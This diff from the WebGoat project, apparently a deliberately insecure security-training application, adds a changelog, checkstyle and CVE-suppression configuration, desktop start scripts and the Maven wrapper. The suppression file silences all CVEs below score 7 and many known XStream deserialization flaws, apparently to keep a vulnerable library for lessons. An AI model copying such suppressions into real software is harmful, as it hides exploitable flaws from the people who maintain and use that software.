+- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port.
+  We simplified this to just start on the specified port.
+- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
+- Renaming of all packages and folders.
+- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
+- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
+
+### Bug fixes
+
+- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
+- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
+- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
+- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
+- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
+- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
+- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
+- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
+- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
+- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
+- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
+- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
+- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)
+
+## Version 8.2.2
+
+### New functionality
+
+- Docker image now supports nginx when browsing to http://localhost a landing page is shown.
+
+### Bug fixes
+
+- [#1039 jwt-7-Code review](https://github.com/WebGoat/WebGoat/issues/1039)
+- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
+- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
+
+## Version 8.2.1
+
+### New functionality
+
+- New Docker image for arm64 architecture is now available (for Apple M1)
+
+## Version 8.2.0
+
+### New functionality
+
+- Add new zip slip lesson (part of path traversal)
+- SQL lessons are now separate for each user, database are now per user and no longer shared across users
+- Moved to Java 15 & Spring Boot 2.4 & moved to JUnit 5
+
+### Bug fixes
+
+- [#974 SQL injection Intro 5 not solvable](https://github.com/WebGoat/WebGoat/issues/974)
+- [#962 SQL-Lesson 5 (Advanced) Solvable with wrong anwser](https://github.com/WebGoat/WebGoat/issues/962)
+- [#961 SQl-Injection lesson 4 not deleting created row](https://github.com/WebGoat/WebGoat/issues/961)
+- [#949 Challenge: Admin password reset always solvable](https://github.com/WebGoat/WebGoat/issues/949)
+- [#923 - Upgrade to Java 15](https://github.com/WebGoat/WebGoat/issues/923)
+- [#922 - Vulnerable components lesson](https://github.com/WebGoat/WebGoat/issues/922)
+- [#891 - Update the OWASP website with the new all-in-one Docker container](https://github.com/WebGoat/WebGoat/issues/891)
+- [#844 - Suggestion: Update navigation](https://github.com/WebGoat/WebGoat/issues/844)
+- [#843 - Bypass front-end restrictions: Field restrictions - confusing text in form](https://github.com/WebGoat/WebGoat/issues/843)
+- [#841 - XSS - Reflected XSS confusing instruction and success messages](https://github.com/WebGoat/WebGoat/issues/841)
+- [#839 - SQL Injection (mitigation) Order by clause confusing](https://github.com/WebGoat/WebGoat/issues/839)
+- [#838 - SQL mitigation (filtering) can only be passed by updating table](https://github.com/WebGoat/WebGoat/issues/838)
+
+## Contributors
+
+Special thanks to the following contributors providing us with a pull request:
+
+- nicholas-quirk
+- VijoPlays
+- aolle
+- trollingHeifer
+- maximmasiutin
+- toshihue
+- avivmu
+- KellyMarchewa
+- NatasG
+- gabe-sky
+
+## Version 8.1.0
+
+### New functionality
+
+- Added new lessons for cryptography and path-traversal
+- Extra content added to the XXE lesson
+- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve
+  the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a
+  pull request on Github.
+- Docker improvements + docker stack for complete container with nginx
+- Included JWT token decoding and generation, since jwt.io does not support None anymore
+
+### Bug fixes
+
+- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
+- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
+- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810)
+- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
+- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760)
+- [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766)
+- [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708)
+- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
+- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
+- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
+- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
+- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
+- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
+
+## Contributors
+
+Special thanks to the following contributors providing us with a pull request:
+
+- Satoshi SAKAO
+- Philippe Lafoucrière
+- Cotonne
+- Tiago Mussi
+- thegoodcrumpets
+- Atharva Vaidya
+- torleif
+- August Detlefsen
+- Choe Hyeong Jin
+
+And everyone who provided feedback through Github.
+
+Team WebGoat

catalina.policy

@@ -1,3 +0,0 @@
-grant {
-  permission java.security.AllPermission;
-};

config/checkstyle/checkstyle.xml

@@ -0,0 +1,259 @@
+<?xml version="1.0"?>
+<!DOCTYPE module PUBLIC
+        "-//Puppy Crawl//DTD Check Configuration 1.3//EN"
+        "http://checkstyle.sourceforge.net/dtds/configuration_1_3.dtd">
+
+<!--
+    Checkstyle configuration that checks the Google coding conventions from Google Java Style
+    that can be found at https://google.github.io/styleguide/javaguide.html.
+
+    Checkstyle is very configurable. Be sure to read the documentation at
+    http://checkstyle.sf.net (or in your downloaded distribution).
+
+    To completely disable a check, just comment it out or delete it from the file.
+
+    Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
+ -->
+
+<module name="Checker">
+    <property name="charset" value="UTF-8"/>
+
+    <property name="severity" value="error"/>
+
+    <property name="fileExtensions" value="java, properties, xml"/>
+    <!-- Checks for whitespace                               -->
+    <!-- See http://checkstyle.sf.net/config_whitespace.html -->
+
+    <module name="SuppressionFilter">
+        <property name="file" value="${suppressionsLocation}" default="target/checkstyle-suppressions.xml"/>
+    </module>
+    <module name="TreeWalker">
+        <module name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
+            <property name="maximum" value="0"/>
+            <property name="format" value="org\.junit\.Assert\.assert"/>
+            <property name="message"
+                      value="Please use AssertJ imports."/>
+            <property name="ignoreComments" value="true"/>
+        </module>
+        <module
+                name="com.puppycrawl.tools.checkstyle.checks.imports.IllegalImportCheck">
+            <property name="regexp" value="true"/>
+            <property name="illegalPkgs"
+                      value="^sun.*, ^org\.apache\.commons\.(?!compress|dbcp2|lang|lang3|logging|io|pool2).*, ^org\.flywaydb\.core\.internal.*, ^org\.testcontainers\.shaded.*"/>
+            <property name="illegalClasses"
+                      value="^com\.hazelcast\.util\.Base64, ^org\.junit\.rules\.ExpectedException, ^org\.slf4j\.LoggerFactory, ^reactor\.core\.support\.Assert, ^com\.google\.common\.collect\.Maps, ^com\.google\.common\.collect\.Sets, ^com\.google\.common\.collect\.Lists"/>
+        </module>
+        <module
+                name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
+            <property name="maximum" value="0"/>
+            <property name="format"
+                      value="assertThatExceptionOfType\((NullPointerException|IllegalArgumentException|IOException|IllegalStateException)\.class\)"/>
+            <property name="message"
+                      value="Please use specialized AssertJ assertThat*Exception method."/>
+            <property name="ignoreComments" value="true"/>
+        </module>
+        <module
+                name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
+            <property name="maximum" value="0"/>
+            <property name="format"
+                      value="@SneakyThrows"/>
+            <property name="message"
+                      value="Please use a unchecked exceptions instead of @SneakyThrows gives compiler warnings"/>
+            <property name="ignoreComments" value="true"/>
+        </module>
+        <module name="OuterTypeFilename"/>
+        <module name="IllegalTokenText">
+            <property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
+            <property name="format"
+                      value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
+            <property name="message"
+                      value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
+        </module>
+        <module name="AvoidEscapedUnicodeCharacters">
+            <property name="allowEscapesForControlCharacters" value="true"/>
+            <property name="allowByTailComment" value="true"/>
+            <property name="allowNonPrintableEscapes" value="true"/>
+        </module>
+        <module name="OneTopLevelClass">
+            <property name="severity" value="warning"/>
+        </module>
+        <module name="NoLineWrap"/>
+        <module name="EmptyBlock">
+            <property name="option" value="TEXT"/>
+            <property name="tokens" value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
+        </module>
+        <module name="WhitespaceAround">
+            <property name="allowEmptyConstructors" value="true"/>
+            <property name="allowEmptyMethods" value="true"/>
+            <property name="allowEmptyTypes" value="true"/>
+            <property name="allowEmptyLoops" value="true"/>
+            <message key="ws.notFollowed"
+                     value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
+            <message key="ws.notPreceded"
+                     value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="OneStatementPerLine"/>
+        <module name="MultipleVariableDeclarations"/>
+        <module name="ArrayTypeStyle"/>
+        <module name="MissingSwitchDefault"/>
+        <module name="FallThrough"/>
+        <module name="UpperEll"/>
+        <module name="ModifierOrder"/>
+        <module name="EmptyLineSeparator">
+            <property name="allowNoEmptyLineBetweenFields" value="true"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapDot"/>
+            <property name="tokens" value="DOT"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapComma"/>
+            <property name="tokens" value="COMMA"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/258 -->
+            <property name="id" value="SeparatorWrapEllipsis"/>
+            <property name="tokens" value="ELLIPSIS"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/259 -->
+            <property name="id" value="SeparatorWrapArrayDeclarator"/>
+            <property name="tokens" value="ARRAY_DECLARATOR"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapMethodRef"/>
+            <property name="tokens" value="METHOD_REF"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="PackageName">
+            <property name="format" value="^[a-z]+(\.[a-z_][a-z0-9_]*)*$"/>
+            <message key="name.invalidPattern"
+                     value="Package name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="TypeName">
+            <message key="name.invalidPattern"
+                     value="Type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MemberName">
+            <property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
+            <message key="name.invalidPattern"
+                     value="Member name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9_]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="CatchParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LocalVariableName">
+            <property name="tokens" value="VARIABLE_DEF"/>
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Local variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ClassTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Class type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MethodTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Method type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="InterfaceTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Interface type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="NoFinalizer"/>
+        <module name="GenericWhitespace">
+            <message key="ws.followed"
+                     value="GenericWhitespace ''{0}'' is followed by whitespace."/>
+            <message key="ws.preceded"
+                     value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
+            <message key="ws.illegalFollow"
+                     value="GenericWhitespace ''{0}'' should followed by whitespace."/>
+            <message key="ws.notPreceded"
+                     value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="AbbreviationAsWordInName">
+            <property name="ignoreFinal" value="false"/>
+            <property name="allowedAbbreviationLength" value="4"/>
+            <property name="severity" value="warning"/>
+        </module>
+        <module name="OverloadMethodsDeclarationOrder"/>
+        <module name="VariableDeclarationUsageDistance"/>
+        <module name="CustomImportOrder">
+            <property name="sortImportsInGroupAlphabetically" value="false"/>
+            <property name="separateLineBetweenGroups" value="true"/>
+            <property name="customImportOrderRules" value="THIRD_PARTY_PACKAGE###STATIC"/>
+        </module>
+        <module name="MethodParamPad"/>
+        <module name="NoWhitespaceBefore">
+            <property name="tokens" value="COMMA, SEMI, POST_INC, POST_DEC, DOT, ELLIPSIS, METHOD_REF"/>
+            <property name="allowLineBreaks" value="true"/>
+        </module>
+        <module name="ParenPad"/>
+        <module name="OperatorWrap">
+            <property name="option" value="NL"/>
+            <property name="tokens"
+                      value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR, LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF "/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationMostCases"/>
+            <property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF"/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationVariables"/>
+            <property name="tokens" value="VARIABLE_DEF"/>
+            <property name="allowSamelineMultipleAnnotations" value="true"/>
+        </module>
+        <module name="NonEmptyAtclauseDescription"/>
+        <module name="JavadocTagContinuationIndentation"/>
+        <module name="SummaryJavadoc">
+            <property name="forbiddenSummaryFragments"
+                      value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
+            <property name="severity" value="warning"/>
+        </module>
+        <module name="JavadocParagraph">
+            <property name="severity" value="warning"/>
+        </module>
+        <module name="AtclauseOrder">
+            <property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
+            <property name="target" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
+            <property name="severity" value="warning"/>
+        </module>
+        <module name="JavadocMethod">
+            <property name="tokens" value="CLASS_DEF,INTERFACE_DEF,ENUM_DEF,METHOD_DEF,ANNOTATION_FIELD_DEF"/>
+            <property name="scope" value="public"/>
+            <property name="allowMissingParamTags" value="true"/>
+            <property name="allowMissingThrowsTags" value="true"/>
+            <property name="allowMissingReturnTag" value="true"/>
+            <property name="minLineCount" value="2"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="allowThrowsTagsForSubclasses" value="true"/>
+            <property name="severity" value="warning"/>
+        </module>
+        <module name="MethodName">
+            <property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
+            <message key="name.invalidPattern"
+                     value="Method name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="SingleLineJavadoc">
+            <property name="ignoreInlineTags" value="false"/>
+        </module>
+        <module name="EmptyCatchBlock">
+            <property name="exceptionVariableName" value="expected"/>
+        </module>
+        <module name="CommentsIndentation"/>
+    </module>
+</module>

config/checkstyle/suppressions.xml

@@ -0,0 +1,11 @@
+<?xml version="1.0"?>
+<!DOCTYPE suppressions PUBLIC
+        "-//Checkstyle//DTD SuppressionFilter Configuration 1.2//EN"
+        "https://checkstyle.org/dtds/suppressions_1_2.dtd">
+<suppressions>
+    <suppress files="MD5.java" checks="[a-zA-Z0-9]*" />
+    <suppress files="VulnerableComponentsLesson.java" checks="[a-zA-Z0-9]*" />
+    <suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
+    <suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
+    <suppress files="HtmlTamperingTask.java" checks="ParameterName" />
+</suppressions>

config/dependency-check/project-suppression.xml

@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
+    <suppress>
+        <notes><![CDATA[
+        This suppresses all CVE entries that have a score below CVSS 7.
+        ]]></notes>
+        <cvssBelow>7</cvssBelow>
+    </suppress>
+    <suppress>
+        <notes><![CDATA[
+        file name: spring-tx-5.3.21.jar
+        ]]></notes>
+        <sha1>13f4f564024d2f85502c151942307c3ca851a4f7</sha1>
+        <cve>CVE-2016-1000027</cve>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: spring-core-5.3.21.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-core@.*$</packageUrl>
+        <cve>CVE-2016-1000027</cve>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: spring-aop-5.3.21.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-aop@.*$</packageUrl>
+        <cve>CVE-2016-1000027</cve>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: spring-boot-starter-security-2.7.1.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$</packageUrl>
+        <cve>CVE-2022-22978</cve>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: jruby-stdlib-9.2.20.1.jar: jopenssl.jar (shaded: rubygems:jruby-openssl:0.11.0)
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/rubygems/jruby\-openssl@.*$</packageUrl>
+        <cpe>cpe:/a:jruby:jruby</cpe>
+        <cpe>cpe:/a:openssl:openssl</cpe>
+     </suppress>
+    <suppress>
+        <notes><![CDATA[
+        file name: xstream-1.4.5.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$</packageUrl>
+        <cpe>cpe:/a:xstream_project:xstream</cpe>
+        <vulnerabilityName>CVE-2013-7285</vulnerabilityName>
+        <vulnerabilityName>CVE-2016-3674</vulnerabilityName>
+        <vulnerabilityName>CVE-2017-7957</vulnerabilityName>
+        <vulnerabilityName>CVE-2020-26217</vulnerabilityName>
+        <vulnerabilityName>CVE-2020-26258</vulnerabilityName>
+        <vulnerabilityName>CVE-2020-26259</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21341</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21342</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21343</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21344</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21345</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21346</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21347</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21348</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21349</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21350</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21351</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-43859</vulnerabilityName>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: spring-jcl-5.3.21.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-.*@.*$</packageUrl>
+        <cve>CVE-2016-1000027</cve>
+     </suppress>
+</suppressions>

config/desktop/WebGoat.txt

@@ -0,0 +1,10 @@
+** Welcome to WebGoat desktop image
+
+With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
+You can start WebGoat and ZAP by opening a terminal and type:
+
+./start_webgoat.sh
+./start_zap.sh
+
+Happy hacking,
+Team WebGoat

config/desktop/start_webgoat.sh

@@ -0,0 +1,17 @@
+#!/bin/sh
+
+/config/java-jdk/bin/java \
+  -Duser.home=/config \
+  -Dfile.encoding=UTF-8 \
+  -DTZ=Europe/Amsterdam \
+  --add-opens java.base/java.lang=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
+  --add-opens java.base/java.text=ALL-UNNAMED \
+  --add-opens java.desktop/java.beans=ALL-UNNAMED \
+  --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
+  --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
+  --add-opens java.base/java.io=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  -Drunning.in.docker=false \
+  -jar /config/webgoat.jar

config/desktop/start_zap.sh

@@ -0,0 +1,3 @@
+#!/bin/sh
+
+/config/java-jdk/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar

config/license-headers/java

@@ -0,0 +1,4 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © $today.year WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */

docs/README.md

@@ -0,0 +1,3 @@
+# WebGoat landing page
+
+Old GitHub page which now redirects to OWASP website.

docs/index.html

@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+  <meta charset="utf-8">
+  <meta http-equiv="refresh" content="0;url=https://webgoat.org" />
+  <link rel="canonical" href="https://webgoat.org" />
+</head>
+<body>
+<h1>
+  The page been moved to <a href="https://webgoat.org">https://webgoat.org</a>
+</h1>
+</body>
+</html>

fake_commit_log.txt

@@ -0,0 +1,2 @@
+Sat May 10 12:27:40 UTC 2025: Commit 1 by Author One
+Sat May 10 12:28:00 UTC 2025: Commit 2 by Author Two

mvn-debug

@@ -1,2 +1,2 @@
 export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
-mvn $@
+./mvnw $@

mvnw

@@ -0,0 +1,310 @@
+#!/bin/sh
+# ----------------------------------------------------------------------------
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements.  See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership.  The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License.  You may obtain a copy of the License at
+#
+#    http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied.  See the License for the
+# specific language governing permissions and limitations
+# under the License.
+# ----------------------------------------------------------------------------
+
+# ----------------------------------------------------------------------------
+# Maven2 Start Up Batch script
+#
+# Required ENV vars:
+# ------------------
+#   JAVA_HOME - location of a JDK home dir
+#
+# Optional ENV vars
+# -----------------
+#   M2_HOME - location of maven2's installed home dir
+#   MAVEN_OPTS - parameters passed to the Java VM when running Maven
+#     e.g. to debug Maven itself, use
+#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+# ----------------------------------------------------------------------------
+
+if [ -z "$MAVEN_SKIP_RC" ] ; then
+
+  if [ -f /etc/mavenrc ] ; then
+    . /etc/mavenrc
+  fi
+
+  if [ -f "$HOME/.mavenrc" ] ; then
+    . "$HOME/.mavenrc"
+  fi
+
+fi
+
+# OS specific support.  $var _must_ be set to either true or false.
+cygwin=false;
+darwin=false;
+mingw=false
+case "`uname`" in
+  CYGWIN*) cygwin=true ;;
+  MINGW*) mingw=true;;
+  Darwin*) darwin=true
+    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
+    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html
+    if [ -z "$JAVA_HOME" ]; then
+      if [ -x "/usr/libexec/java_home" ]; then
+        export JAVA_HOME="`/usr/libexec/java_home`"
+      else
+        export JAVA_HOME="/Library/Java/Home"
+      fi
+    fi
+    ;;
+esac
+
+if [ -z "$JAVA_HOME" ] ; then
+  if [ -r /etc/gentoo-release ] ; then
+    JAVA_HOME=`java-config --jre-home`
+  fi
+fi
+
+if [ -z "$M2_HOME" ] ; then
+  ## resolve links - $0 may be a link to maven's home
+  PRG="$0"
+
+  # need this for relative symlinks
+  while [ -h "$PRG" ] ; do
+    ls=`ls -ld "$PRG"`
+    link=`expr "$ls" : '.*-> \(.*\)$'`
+    if expr "$link" : '/.*' > /dev/null; then
+      PRG="$link"
+    else
+      PRG="`dirname "$PRG"`/$link"
+    fi
+  done
+
+  saveddir=`pwd`
+
+  M2_HOME=`dirname "$PRG"`/..
+
+  # make it fully qualified
+  M2_HOME=`cd "$M2_HOME" && pwd`
+
+  cd "$saveddir"
+  # echo Using m2 at $M2_HOME
+fi
+
+# For Cygwin, ensure paths are in UNIX format before anything is touched
+if $cygwin ; then
+  [ -n "$M2_HOME" ] &&
+    M2_HOME=`cygpath --unix "$M2_HOME"`
+  [ -n "$JAVA_HOME" ] &&
+    JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
+  [ -n "$CLASSPATH" ] &&
+    CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
+fi
+
+# For Mingw, ensure paths are in UNIX format before anything is touched
+if $mingw ; then
+  [ -n "$M2_HOME" ] &&
+    M2_HOME="`(cd "$M2_HOME"; pwd)`"
+  [ -n "$JAVA_HOME" ] &&
+    JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
+fi
+
+if [ -z "$JAVA_HOME" ]; then
+  javaExecutable="`which javac`"
+  if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
+    # readlink(1) is not available as standard on Solaris 10.
+    readLink=`which readlink`
+    if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
+      if $darwin ; then
+        javaHome="`dirname \"$javaExecutable\"`"
+        javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
+      else
+        javaExecutable="`readlink -f \"$javaExecutable\"`"
+      fi
+      javaHome="`dirname \"$javaExecutable\"`"
+      javaHome=`expr "$javaHome" : '\(.*\)/bin'`
+      JAVA_HOME="$javaHome"
+      export JAVA_HOME
+    fi
+  fi
+fi
+
+if [ -z "$JAVACMD" ] ; then
+  if [ -n "$JAVA_HOME"  ] ; then
+    if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+      # IBM's JDK on AIX uses strange locations for the executables
+      JAVACMD="$JAVA_HOME/jre/sh/java"
+    else
+      JAVACMD="$JAVA_HOME/bin/java"
+    fi
+  else
+    JAVACMD="`which java`"
+  fi
+fi
+
+if [ ! -x "$JAVACMD" ] ; then
+  echo "Error: JAVA_HOME is not defined correctly." >&2
+  echo "  We cannot execute $JAVACMD" >&2
+  exit 1
+fi
+
+if [ -z "$JAVA_HOME" ] ; then
+  echo "Warning: JAVA_HOME environment variable is not set."
+fi
+
+CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
+
+# traverses directory structure from process work directory to filesystem root
+# first directory with .mvn subdirectory is considered project base directory
+find_maven_basedir() {
+
+  if [ -z "$1" ]
+  then
+    echo "Path not specified to find_maven_basedir"
+    return 1
+  fi
+
+  basedir="$1"
+  wdir="$1"
+  while [ "$wdir" != '/' ] ; do
+    if [ -d "$wdir"/.mvn ] ; then
+      basedir=$wdir
+      break
+    fi
+    # workaround for JBEAP-8937 (on Solaris 10/Sparc)
+    if [ -d "${wdir}" ]; then
+      wdir=`cd "$wdir/.."; pwd`
+    fi
+    # end of workaround
+  done
+  echo "${basedir}"
+}
+
+# concatenates all lines of a file
+concat_lines() {
+  if [ -f "$1" ]; then
+    echo "$(tr -s '\n' ' ' < "$1")"
+  fi
+}
+
